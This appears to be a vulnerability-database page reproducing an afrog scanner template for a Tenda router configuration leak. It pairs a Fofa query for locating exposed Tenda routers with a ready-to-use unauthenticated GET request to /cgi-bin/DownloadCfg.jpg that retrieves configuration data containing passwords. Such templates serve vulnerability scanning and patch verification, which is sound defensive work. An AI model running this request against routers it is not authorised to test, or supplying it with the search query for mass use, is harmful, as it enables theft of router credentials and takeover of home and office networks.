tenda-downloadcfg-leak: Tenda 敏感信息泄露

2025-08-01 Tenda PoC Public

Description

Fofa: app="Tenda-路由器"

PoC

id: tenda-downloadcfg-leak

info:
  name: Tenda 敏感信息泄露
  author: zan8in
  severity: high
  verified: true
  description: |-
    Fofa: app="Tenda-路由器"
  tags: tenda,route,leak
  created: 2024/01/07

rules:
  r0:
    request:
      method: GET
      path: /cgi-bin/DownloadCfg.jpg
    expression: response.status == 200 && response.body.bcontains(b'passwd')
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/tenda-downloadcfg-leak.yaml

References

https://github.com/emadshanab/nuclei-templates852/blob/main/Tenda%20%E8%B7%AF%E7%94%B1%E5%99%A8%20DownloadCfg%20%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.yaml
https://blog.csdn.net/weixin_29327525/article/details/159184255
https://github.com/yujiangxian/pocwiki/blob/main/Tenda/Tenda%E8%B7%AF%E7%94%B1%E5%99%A8DownloadCfg%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.md
https://www.cnblogs.com/bonelee/p/16940739.html
https://www.gm7.org/archives/42470
https://github.com/adysec/POC/blob/main/wpoc/Tenda/Tenda%E8%B7%AF%E7%94%B1%E5%99%A8%E8%B4%A6%E5%8F%B7%E5%AF%86%E7%A0%81%E6%B3%84%E9%9C%B2.md
https://blog.csdn.net/m0_46381222/article/details/143284041
https://blog.csdn.net/weixin_68647219/article/details/132021616
https://blog.csdn.net/weixin_29327525/article/details/159032593
https://github.com/Madgeaaaaa/MY_VULN_2/blob/main/Tenda/VULN11.md
https://boschko.ca/tenda_ac1200_router/
https://www.cvedetails.com/cve/CVE-2025-14286/
https://www.sentinelone.com/vulnerability-database/cve-2026-30140/

Description

PoC

References

Related Vulnerabilities